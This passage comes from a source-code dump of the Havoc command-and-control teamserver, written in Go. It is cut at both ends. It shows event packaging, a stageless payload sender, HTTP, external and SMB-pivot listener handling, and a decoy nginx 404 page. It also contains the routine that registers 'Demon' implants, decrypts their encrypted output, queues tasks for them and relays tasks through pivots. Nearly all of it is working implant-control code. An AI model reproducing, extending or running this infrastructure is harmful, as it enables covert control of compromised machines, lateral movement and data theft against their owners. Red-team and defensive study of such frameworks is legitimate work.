Package\n}\n\nfunc (demons) CallBack(DemonID string, callback string) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Session.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.SubEvent = packager.Type.Session.Output\n\tPackage.Body.Info = make(map[string]interface{})\n\n\tPackage.Body.Info[\"DemonID\"] = DemonID\n\tPackage.Body.Info[\"CommandID\"] = \"10\"\n\tPackage.Body.Info[\"Output\"] = callback\n\n\treturn Package\n}\n\nfunc (demons) MarkAs(AgentID, Mark string) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Session.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.SubEvent = packager.Type.Session.MarkAsDead\n\tPackage.Body.Info = make(map[string]interface{})\n\n\tPackage.Body.Info[\"AgentID\"] = AgentID\n\tPackage.Body.Info[\"Marked\"] = Mark\n\n\treturn Package\n}\n"
  },
  {
    "path": "teamserver/pkg/events/events.go",
    "content": "package events\n\nimport (\n\t\"Havoc/pkg/logger\"\n\t\"encoding/json\"\n\t\"net\"\n\t\"time\"\n\n\t\"Havoc/pkg/packager\"\n\t\"Havoc/pkg/profile\"\n)\n\ntype (\n\tchatLog    int\n\tlisteners  int\n\tdemons     int\n\tgate       int\n\tservice    int\n\tteamserver int\n)\n\nfunc Authenticated(authed bool) packager.Package {\n\n\tif authed {\n\t\treturn packager.Package{\n\t\t\tHead: packager.Head{\n\t\t\t\tEvent: packager.Type.InitConnection.Type,\n\t\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t\t},\n\n\t\t\tBody: packager.Body{\n\t\t\t\tSubEvent: packager.Type.InitConnection.Success,\n\t\t\t\tInfo: map[string]any{\n\t\t\t\t\t\"Message\": \"Successful Authenticated\",\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t} else {\n\t\treturn packager.Package{\n\t\t\tHead: packager.Head{\n\t\t\t\tEvent: packager.Type.InitConnection.Type,\n\t\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t\t},\n\n\t\t\tBody: packager.Body{\n\t\t\t\tSubEvent: packager.Type.InitConnection.Error,\n\t\t\t\tInfo: map[string]any{\n\t\t\t\t\t\"Message\": \"Wrong Password\",\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n}\n\nfunc UserAlreadyExits() packager.Package {\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.InitConnection.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.InitConnection.Error,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"Message\": \"User already exits\",\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc UserDoNotExists() packager.Package {\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.InitConnection.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.InitConnection.Error,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"Message\": \"User doesn't exits\",\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc SendProfile(profile *profile.Profile) packager.Package {\n\tvar (\n\t\tJsonBytes []byte\n\t\tAddresses string\n\t\taddrs     []net.Addr\n\t\terr       error\n\t)\n\n\tJsonBytes, err = json.Marshal(*profile.Config.Demon)\n\tif err != nil {\n\t\tlogger.DebugError(\"json.Marshal Error: \" + err.Error())\n\t\treturn packager.Package{}\n\t}\n\n\taddrs, err = net.InterfaceAddrs()\n\tif err != nil {\n\t\tlogger.DebugError(\"net.InterfaceAddrs Error: \" + err.Error())\n\t\treturn packager.Package{}\n\t}\n\n\tfor _, address := range addrs {\n\t\tif aspnet, ok := address.(*net.IPNet); ok && !aspnet.IP.IsLoopback() {\n\t\t\tif aspnet.IP.To4() != nil {\n\t\t\t\tif len(Addresses) == 0 {\n\t\t\t\t\tAddresses = aspnet.IP.String()\n\t\t\t\t} else {\n\t\t\t\t\tAddresses += \", \" + aspnet.IP.String()\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.InitConnection.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.InitConnection.Profile,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"Demon\":         string(JsonBytes),\n\t\t\t\t\"TeamserverIPs\": Addresses,\n\t\t\t},\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/events/gate.go",
    "content": "package events\n\nimport (\n\t\"encoding/base64\"\n\t\"time\"\n\n\t\"Havoc/pkg/packager\"\n)\n\nvar Gate gate\n\nfunc (g gate) SendStageless(Format string, payload []byte) packager.Package {\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.Gate.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.Gate.Stageless,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"PayloadArray\": base64.StdEncoding.EncodeToString(payload),\n\t\t\t\t\"Format\":       Format,\n\t\t\t\t\"FileName\":     Format,\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc (g gate) SendConsoleMessage(MsgType, text string) packager.Package {\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.Gate.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.Gate.Stageless,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"MessageType\": MsgType,\n\t\t\t\t\"Message\":     text,\n\t\t\t},\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "teamserver/pkg/events/listeners.go",
    "content": "package events\n\nimport (\n\t\"strings\"\n\t\"time\"\n\n\t\"Havoc/pkg/handlers\"\n\t\"Havoc/pkg/packager\"\n\n\t\"github.com/fatih/structs\"\n)\n\nvar Listener listeners\n\nfunc (listeners) ListenerAdd(FromUser string, Type int, Config any) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Listener.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\tPackage.Head.User = FromUser\n\tPackage.Body.SubEvent = packager.Type.Listener.Add\n\n\tswitch Type {\n\n\tcase handlers.LISTENER_HTTP:\n\n\t\tPackage.Body.Info = make(map[string]interface{})\n\t\tPackage.Body.Info = structs.Map(Config.(*handlers.HTTP).Config)\n\n\t\tPackage.Body.Info[\"Protocol\"] = handlers.AGENT_HTTP\n\t\tPackage.Body.Info[\"Headers\"] = strings.Join(Config.(*handlers.HTTP).Config.Headers, \", \")\n\t\tPackage.Body.Info[\"Uris\"] = strings.Join(Config.(*handlers.HTTP).Config.Uris, \", \")\n\n\t\t/* proxy settings */\n\t\tPackage.Body.Info[\"Proxy Enabled\"] = \"false\"\n\t\tif Config.(*handlers.HTTP).Config.Proxy.Enabled {\n\t\t\tPackage.Body.Info[\"Proxy Enabled\"] = \"true\"\n\t\t}\n\n\t\tPackage.Body.Info[\"Proxy Type\"] = Config.(*handlers.HTTP).Config.Proxy.Type\n\t\tPackage.Body.Info[\"Proxy Host\"] = Config.(*handlers.HTTP).Config.Proxy.Host\n\t\tPackage.Body.Info[\"Proxy Port\"] = Config.(*handlers.HTTP).Config.Proxy.Port\n\t\tPackage.Body.Info[\"Proxy Username\"] = Config.(*handlers.HTTP).Config.Proxy.Username\n\t\tPackage.Body.Info[\"Proxy Password\"] = Config.(*handlers.HTTP).Config.Proxy.Password\n\n\t\tPackage.Body.Info[\"Secure\"] = \"false\"\n\t\tif Config.(*handlers.HTTP).Config.Secure {\n\t\t\tPackage.Body.Info[\"Secure\"] = \"true\"\n\t\t}\n\n\t\tif Config.(*handlers.HTTP).Active {\n\t\t\tPackage.Body.Info[\"Status\"] = \"Online\"\n\t\t} else {\n\t\t\tPackage.Body.Info[\"Status\"] = \"Offline\"\n\t\t}\n\n\t\tdelete(Package.Body.Info, \"Proxy\")\n\t\tdelete(Package.Body.Info, \"Response\")\n\t\tdelete(Package.Body.Info, \"Hosts\")\n\n\t\tvar Hosts string\n\t\tfor _, host := range Config.(*handlers.HTTP).Config.Hosts {\n\t\t\tif len(Hosts) == 0 {\n\t\t\t\tHosts = host\n\t\t\t} else {\n\t\t\t\tHosts += \", \" + host\n\t\t\t}\n\t\t}\n\t\tPackage.Body.Info[\"Hosts\"] = Hosts\n\n\t\tbreak\n\n\tcase handlers.LISTENER_EXTERNAL:\n\n\t\tPackage.Body.Info = make(map[string]interface{})\n\t\tPackage.Body.Info = structs.Map(Config.(*handlers.External).Config)\n\n\t\tPackage.Body.Info[\"Protocol\"] = handlers.AGENT_EXTERNAL\n\t\tPackage.Body.Info[\"Status\"] = \"Online\"\n\n\t\tbreak\n\n\tcase handlers.LISTENER_PIVOT_SMB:\n\n\t\tPackage.Body.Info = make(map[string]interface{})\n\t\tPackage.Body.Info = structs.Map(Config.(*handlers.SMB).Config)\n\n\t\tPackage.Body.Info[\"Protocol\"] = handlers.AGENT_PIVOT_SMB\n\t\tPackage.Body.Info[\"Status\"] = \"Online\"\n\n\t\tbreak\n\t}\n\n\treturn Package\n}\n\nfunc (listeners) ListenerEdit(Type int, Config any) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Listener.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\tPackage.Body.SubEvent = packager.Type.Listener.Edit\n\n\tswitch Type {\n\n\tcase handlers.LISTENER_HTTP:\n\n\t\tPackage.Body.Info = make(map[string]interface{})\n\t\tPackage.Body.Info = structs.Map(Config.(*handlers.HTTPConfig))\n\n\t\tPackage.Body.Info[\"Protocol\"] = handlers.AGENT_HTTP\n\t\tPackage.Body.Info[\"Headers\"] = strings.Join(Config.(*handlers.HTTPConfig).Headers, \", \")\n\t\tPackage.Body.Info[\"Uris\"] = strings.Join(Config.(*handlers.HTTPConfig).Uris, \", \")\n\n\t\t// Proxy settings\n\t\tPackage.Body.Info[\"Proxy Enabled\"] = \"false\"\n\t\tif Config.(*handlers.HTTPConfig).Proxy.Enabled {\n\t\t\tPackage.Body.Info[\"Proxy Enabled\"] = \"true\"\n\t\t}\n\t\tPackage.Body.Info[\"Proxy Type\"] = Config.(*handlers.HTTPConfig).Proxy.Type\n\t\tPackage.Body.Info[\"Proxy Host\"] = Config.(*handlers.HTTPConfig).Proxy.Host\n\t\tPackage.Body.Info[\"Proxy Port\"] = Config.(*handlers.HTTPConfig).Proxy.Port\n\t\tPackage.Body.Info[\"Proxy Username\"] = Config.(*handlers.HTTPConfig).Proxy.Username\n\t\tPackage.Body.Info[\"Proxy Password\"] = Config.(*handlers.HTTPConfig).Proxy.Password\n\n\t\tPackage.Body.Info[\"Secure\"] = \"false\"\n\t\tif Config.(*handlers.HTTPConfig).Secure {\n\t\t\tPackage.Body.Info[\"Secure\"] = \"true\"\n\t\t}\n\n\t\t/* response */\n\t\tPackage.Body.Info[\"Response Headers\"] = strings.Join(Config.(*handlers.HTTPConfig).Response.Headers, \", \")\n\n\t\tdelete(Package.Body.Info, \"Proxy\")\n\t\tdelete(Package.Body.Info, \"Response\")\n\t\tdelete(Package.Body.Info, \"Hosts\")\n\n\t\tvar Hosts string\n\t\tfor _, host := range Config.(*handlers.HTTPConfig).Hosts {\n\t\t\tif len(Hosts) == 0 {\n\t\t\t\tHosts = host\n\t\t\t} else {\n\t\t\t\tHosts += \", \" + host\n\t\t\t}\n\t\t}\n\t\tPackage.Body.Info[\"Hosts\"] = Hosts\n\n\t\tbreak\n\t}\n\n\treturn Package\n}\n\nfunc (listeners) ListenerError(FromUser string, ListenerName string, err error) packager.Package {\n\tvar (\n\t\tPackage     packager.Package\n\t\tlistenerErr = strings.Split(err.Error(), \":\")\n\t)\n\n\tPackage.Head.Event = packager.Type.Listener.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\tPackage.Head.User = FromUser\n\n\tPackage.Body.SubEvent = packager.Type.Listener.Error\n\n\tPackage.Body.Info = make(map[string]interface{})\n\tPackage.Body.Info[\"Error\"] = listenerErr[len(listenerErr)-1]\n\tPackage.Body.Info[\"Name\"] = ListenerName\n\n\treturn Package\n}\n\nfunc (listeners) ListenerRemove(ListenerName string) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Listener.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.SubEvent = packager.Type.Listener.Remove\n\n\tPackage.Body.Info = make(map[string]interface{})\n\tPackage.Body.Info[\"Name\"] = ListenerName\n\n\treturn Package\n}\n\nfunc (listeners) ListenerMark(ListenerName string, Mark string) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Listener.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.SubEvent = packager.Type.Listener.Mark\n\n\tPackage.Body.Info = make(map[string]interface{})\n\tPackage.Body.Info[\"Name\"] = ListenerName\n\tPackage.Body.Info[\"Mark\"] = Mark\n\n\treturn Package\n}\n"
  },
  {
    "path": "teamserver/pkg/events/service.go",
    "content": "package events\n\nimport (\n\t\"time\"\n\n\t\"Havoc/pkg/packager\"\n)\n\nvar Service service\n\nfunc (service) AgentRegister(AgentData string) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Service.Type\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.SubEvent = packager.Type.Service.RegisterAgent\n\tPackage.Body.Info = map[string]interface{}{\n\t\t\"Agent\": AgentData,\n\t}\n\n\treturn Package\n}\n\nfunc (service) ListenerRegister(ListenerData string) packager.Package {\n\n\treturn packager.Package{\n\t\tHead: packager.Head{\n\t\t\tEvent: packager.Type.Service.Type,\n\t\t\tTime:  time.Now().Format(\"02/01/2006 15:04:05\"),\n\t\t},\n\n\t\tBody: packager.Body{\n\t\t\tSubEvent: packager.Type.Service.RegisterListener,\n\t\t\tInfo: map[string]any{\n\t\t\t\t\"Listener\": ListenerData,\n\t\t\t},\n\t\t},\n\t}\n\n}\n"
  },
  {
    "path": "teamserver/pkg/events/teamserver.go",
    "content": "package events\n\nimport (\n\t\"time\"\n\n\t\"Havoc/pkg/packager\"\n)\n\nvar Teamserver teamserver\n\nfunc (teamserver) Logger(text string) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Teamserver.Type\n\t// Time Day Month Year\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.Info = make(map[string]interface{})\n\tPackage.Body.SubEvent = packager.Type.Teamserver.Log\n\tPackage.Body.Info[\"Text\"] = text\n\n\treturn Package\n}\n\nfunc (teamserver) Profile(profile string) packager.Package {\n\tvar Package packager.Package\n\n\tPackage.Head.Event = packager.Type.Teamserver.Type\n\t// Time Day Month Year\n\tPackage.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\n\tPackage.Body.Info = make(map[string]interface{})\n\tPackage.Body.SubEvent = packager.Type.Teamserver.Log\n\tPackage.Body.Info[\"profile\"] = profile\n\n\treturn Package\n}\n"
  },
  {
    "path": "teamserver/pkg/handlers/404.html",
    "content": "<html>\r\n<head><title>404 Not Found</title></head>\r\n<body>\r\n<center><h1>404 Not Found</h1></center>\r\n<hr><center>nginx</center>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "teamserver/pkg/handlers/external.go",
    "content": "package handlers\n\nimport (\n    \"io\"\n    \"net/http\"\n    \"strings\"\n\n    \"Havoc/pkg/colors\"\n    \"Havoc/pkg/logger\"\n    \"encoding/hex\"\n\n    \"github.com/gin-gonic/gin\"\n)\n\nfunc NewExternal(WebSocketEngine any, Config ExternalConfig) *External {\n    var external = new(External)\n\n    external.engine = WebSocketEngine.(*gin.Engine)\n    external.Config = Config\n\n    return external\n}\n\nfunc (e *External) Start() {\n    logger.Info(\"Started \\\"\" + colors.Green(e.Config.Name) + \"\\\" listener: \" + colors.BlueUnderline(\"external://\"+e.Config.Endpoint))\n\n    pk := e.Teamserver.ListenerAdd(\"\", LISTENER_EXTERNAL, e)\n    e.Teamserver.EventAppend(pk)\n    e.Teamserver.EventBroadcast(\"\", pk)\n}\n\n// Request\n// The way the external c2 handles or parses the request is like the HTTP listener.\n// Only one agent package can be parsed (at least for the demon agent).\n// for 3rd party agents you have more power over the packages since\n// the teamserver won't parse them.\nfunc (e *External) Request(ctx *gin.Context) {\n    logger.Debug(\"ExternalC2 [\" + e.Config.Name + \"] client connected\")\n\n    Body, err := io.ReadAll(ctx.Request.Body)\n    if err != nil {\n        logger.Debug(\"Error while reading request: \" + err.Error())\n    }\n\n    logger.Debug(\" - Exc2 Host : \" + ctx.Request.Host)\n    logger.Debug(\" - Exc2 Body : \\n\" + hex.Dump(Body))\n\n    ExternalIP := strings.Split(ctx.Request.RemoteAddr, \":\")[0]\n\n    if Response, Success := parseAgentRequest(e.Teamserver, Body, ExternalIP); Success {\n        _, err := ctx.Writer.Write(Response.Bytes())\n        if err != nil {\n            logger.Debug(\"Failed to write to request: \" + err.Error())\n            ctx.Status(http.StatusNotFound)\n            return\n        }\n    } else {\n        ctx.AbortWithStatus(http.StatusNotFound)\n        return\n    }\n\n    ctx.AbortWithStatus(http.StatusOK)\n    return\n}\n"
  },
  {
    "path": "teamserver/pkg/handlers/handlers.go",
    "content": "package handlers\n\nimport (\n\t\"bytes\"\n\t//\"encoding/hex\"\n\t\"fmt\"\n\t\"math/bits\"\n\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/common/packer\"\n\t\"Havoc/pkg/common/parser\"\n\t\"Havoc/pkg/logger\"\n)\n\n// parseAgentRequest\n// parses the agent request and handles the given data.\n// return 2 types.\n// Response is the data/bytes once this function finished parsing the request.\n// Success is if the function was successful while parsing the agent request.\n//\n//\tResponse byte.Buffer\n//\tSuccess\t bool\nfunc parseAgentRequest(Teamserver agent.TeamServer, Body []byte, ExternalIP string) (bytes.Buffer, bool) {\n\n\tvar (\n\t\tHeader   agent.Header\n\t\tResponse bytes.Buffer\n\t\terr      error\n\t)\n\n\tHeader, err = agent.ParseHeader(Body)\n\tif err != nil {\n\t\tlogger.Debug(\"[Error] Header: \" + err.Error())\n\t\treturn Response, false\n\t}\n\n\tif Header.Data.Length() < 4 {\n\t\treturn Response, false\n\t}\n\n\t// handle this demon connection if the magic value matches\n\tif Header.MagicValue == agent.DEMON_MAGIC_VALUE {\n\t\treturn handleDemonAgent(Teamserver, Header, ExternalIP)\n\t}\n\n\t// If it's not a Demon request then try to see if it's a 3rd party agent.\n\treturn handleServiceAgent(Teamserver, Header, ExternalIP)\n}\n\n// handleDemonAgent\n// parse the demon agent request\n// return 2 types:\n//\n//\tResponse bytes.Buffer\n//\tSuccess  bool\nfunc handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) {\n\n\tvar (\n\t\tAgent     *agent.Agent\n\t\tResponse  bytes.Buffer\n\t\tRequestID uint32\n\t\tCommand   uint32\n\t\tPacker    *packer.Packer\n\t\tBuild     []byte\n\t\terr       error\n\t)\n\n\t/* check if the agent exists. */\n\tif Teamserver.AgentExist(Header.AgentID) {\n\n\t\t/* get our agent instance based on the agent id */\n\t\tAgent = Teamserver.AgentInstance(Header.AgentID)\n\t\tAgent.UpdateLastCallback(Teamserver)\n\n\t\t// while we can read a command and request id, parse new packages\n\t\tfirst_iter := true\n\t\tasked_for_jobs := false\n\t\tfor (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {\n\t\t\tCommand   = uint32(Header.Data.ParseInt32())\n\t\t\tRequestID = uint32(Header.Data.ParseInt32())\n\n\t\t\t/* check if this is a 'reconnect' request */\n\t\t\tif Command == agent.DEMON_INIT {\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: DEMON_INIT\", Header.AgentID))\n\t\t\t\tPacker = packer.NewPacker(Agent.Encryption.AESKey, Agent.Encryption.AESIv)\n\t\t\t\tPacker.AddUInt32(uint32(Header.AgentID))\n\n\t\t\t\tBuild = Packer.Build()\n\n\t\t\t\t_, err = Response.Write(Build)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(err)\n\t\t\t\t\treturn Response, false\n\t\t\t\t}\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"reconnected %x\", Build))\n\t\t\t\treturn Response, true\n\t\t\t}\n\n\t\t\tif first_iter {\n\t\t\t\tfirst_iter = false\n\t\t\t\t// if the message is not a reconnect, decrypt the buffer\n\t\t\t\tHeader.Data.DecryptBuffer(Agent.Encryption.AESKey, Agent.Encryption.AESIv)\n\t\t\t}\n\n\t\t\t/* The agent is sending us the result of a task */\n\t\t\tif Command != agent.COMMAND_GET_JOB {\n\t\t\t\tParser := parser.NewParser(Header.Data.ParseBytes())\n\t\t\t\tAgent.TaskDispatch(RequestID, Command, Parser, Teamserver)\n\t\t\t} else {\n\t\t\t\tasked_for_jobs = true\n\t\t\t}\n\t\t}\n\n\t\t/* if there is no job then just reply with a COMMAND_NOJOB */\n\t\tif asked_for_jobs == false || len(Agent.JobQueue) == 0 {\n\t\t\tvar NoJob = []agent.Job{{\n\t\t\t\tCommand: agent.COMMAND_NOJOB,\n\t\t\t\tData:    []interface{}{},\n\t\t\t}}\n\n\t\t\tvar Payload = agent.BuildPayloadMessage(NoJob, Agent.Encryption.AESKey, Agent.Encryption.AESIv)\n\n\t\t\t_, err = Response.Write(Payload)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Couldn't write to HTTP connection: \" + err.Error())\n\t\t\t\treturn Response, false\n\t\t\t}\n\n\t\t} else {\n\t\t\t/* if there is a job then send the Task Queue */\n\t\t\tvar (\n\t\t\t\tjob     = Agent.GetQueuedJobs()\n\t\t\t\tpayload = agent.BuildPayloadMessage(job, Agent.Encryption.AESKey, Agent.Encryption.AESIv)\n\t\t\t)\n\n\t\t\t// write the response to the buffer\n\t\t\t_, err = Response.Write(payload)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Couldn't write to HTTP connection: \" + err.Error())\n\t\t\t\treturn Response, false\n\t\t\t}\n\n\t\t\t// TODO: move this to its own function\n\t\t\t// show bytes for pivot\n\t\t\tvar CallbackSizes = make(map[uint32][]byte)\n\t\t\tfor j := range job {\n\n\t\t\t\tif len(job[j].Data) >= 1 {\n\n\t\t\t\t\tswitch job[j].Command {\n\n\t\t\t\t\tcase agent.COMMAND_PIVOT:\n\n\t\t\t\t\t\tif job[j].Data[0] == agent.DEMON_PIVOT_SMB_COMMAND {\n\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tTaskBuffer    = job[j].Data[2].([]byte)\n\t\t\t\t\t\t\t\tPivotAgentID  = int(job[j].Data[1].(uint32))\n\t\t\t\t\t\t\t\tPivotInstance *agent.Agent\n\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\tfor {\n\t\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\t\tParser       = parser.NewParser(TaskBuffer)\n\t\t\t\t\t\t\t\t\tCommandID    = 0\n\t\t\t\t\t\t\t\t\tSubCommandID = 0\n\t\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\t\tParser.SetBigEndian(false)\n\n\t\t\t\t\t\t\t\tParser.ParseInt32()\n\t\t\t\t\t\t\t\tParser.ParseInt32()\n\n\t\t\t\t\t\t\t\tCommandID = Parser.ParseInt32()\n\n\t\t\t\t\t\t\t\t// Socks5 over SMB agents yield a CommandID equal to 0\n\t\t\t\t\t\t\t\tif CommandID != agent.COMMAND_PIVOT && CommandID != 0 {\n\t\t\t\t\t\t\t\t\t//CallbackSizes[uint32(PivotAgentID)] = append(CallbackSizes[job[j].Data[1].(uint32)], TaskBuffer...)\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t/* get an instance of the pivot */\n\t\t\t\t\t\t\t\tPivotInstance = Teamserver.AgentInstance(PivotAgentID)\n\t\t\t\t\t\t\t\tif PivotInstance != nil {\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t/* parse the task from the parser */\n\t\t\t\t\t\t\t\tTaskBuffer = Parser.ParseBytes()\n\n\t\t\t\t\t\t\t\t/* create a new parse for the parsed task */\n\t\t\t\t\t\t\t\tParser = parser.NewParser(TaskBuffer)\n\t\t\t\t\t\t\t\tParser.DecryptBuffer(PivotInstance.Encryption.AESKey, PivotInstance.Encryption.AESIv)\n\n\t\t\t\t\t\t\t\tif Parser.Length() >= 4 {\n\n\t\t\t\t\t\t\t\t\tSubCommandID = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tSubCommandID = int(bits.ReverseBytes32(uint32(SubCommandID)))\n\n\t\t\t\t\t\t\t\t\tif SubCommandID == agent.DEMON_PIVOT_SMB_COMMAND {\n\t\t\t\t\t\t\t\t\t\tPivotAgentID = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tPivotAgentID = int(bits.ReverseBytes32(uint32(PivotAgentID)))\n\n\t\t\t\t\t\t\t\t\t\tTaskBuffer = Parser.ParseBytes()\n\t\t\t\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tCallbackSizes[uint32(PivotAgentID)] = append(CallbackSizes[job[j].Data[1].(uint32)], TaskBuffer...)\n\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tcase agent.COMMAND_SOCKET:\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tcase agent.COMMAND_FS:\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tcase agent.COMMAND_MEM_FILE:\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t//logger.Debug(\"Default\")\n\t\t\t\t\t\t/* build the task payload */\n\t\t\t\t\t\tpayload = agent.BuildPayloadMessage([]agent.Job{job[j]}, Agent.Encryption.AESKey, Agent.Encryption.AESIv)\n\n\t\t\t\t\t\t/* add the size of the task to the callback size */\n\t\t\t\t\t\tCallbackSizes[uint32(Header.AgentID)] = append(CallbackSizes[uint32(Header.AgentID)], payload...)\n\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tCallbackSizes[uint32(Header.AgentID)] = append(CallbackSizes[uint32(Header.AgentID)], payload...)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tfor agentID, buffer := range CallbackSizes {\n\t\t\t\tAgent = Teamserver.AgentInstance(int(agentID))\n\t\t\t\tif Agent != nil {\n\t\t\t\t\tTeamserver.AgentCallbackSize(Agent, len(buffer))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tCallbackSizes = nil\n\t\t}\n\n\t} else {\n\t\tlogger.Debug(\"Agent does not exists. hope this is a register request\")\n\n\t\tvar (\n\t\t\tCommand = Header.Data.ParseInt32()\n\t\t)\n\n\t\t/* TODO: rework this. */\n\t\tif Command == agent.DEMON_INIT {\n\t\t\t// RequestID, unused on DEMON_INIT\n\t\t\tHeader.Data.ParseInt32()\n\n\t\t\tAgent = agent.ParseDemonRegisterRequest(Header.AgentID, Header.Data, ExternalIP)\n\t\t\tif Agent == nil {\n\t\t\t\treturn Response, false\n\t\t\t}\n\n\t\t\tAgent.Info.MagicValue = Header.MagicValue\n\t\t\tAgent.Info.Listener = nil /* TODO: pass here the listener instance/name */\n\n\t\t\tTeamserver.AgentAdd(Agent)\n\t\t\tTeamserver.AgentSendNotify(Agent)\n\n\t\t\tPacker = packer.NewPacker(Agent.Encryption.AESKey, Agent.Encryption.AESIv)\n\t\t\tPacker.AddUInt32(uint32(Header.AgentID))\n\n\t\t\tBuild = Packer.Build()\n\n\t\t\t_, err = Response.Write(Build)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(err)\n\t\t\t\treturn Response, false\n\t\t\t}\n\n\t\t\tlogger.Debug(\"Finished request\")\n\t\t} else {\n\t\t\tlogger.Debug(\"Is not register request. bye...\")\n\t\t\treturn Response, false\n\t\t}\n\t}\n\n\treturn Response, true\n}\n\n// handleServiceAgent\n// handles and parses a service agent request\n// return 2 types:\n//\n//\tResponse bytes.Buffer\n//\tSuccess  bool\nfunc handleServiceAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) {\n\n\tvar (\n\t\tResponse  bytes.Buffer\n\t\tAgentData any\n\t\tAgent     *agent.Agent\n\t\tTask      []byte\n\t\terr       error\n\t)\n\n\t/* search if a service 3rd party agent was registered with this MagicValue */\n\tif !Teamserver.ServiceAgentExist(Header.MagicValue) {\n\t\treturn Response, false\n\t}\n\n\tAgent = Teamserver.AgentInstance(Header.AgentID)\n\tif Agent != nil {\n\t\tAgentData = 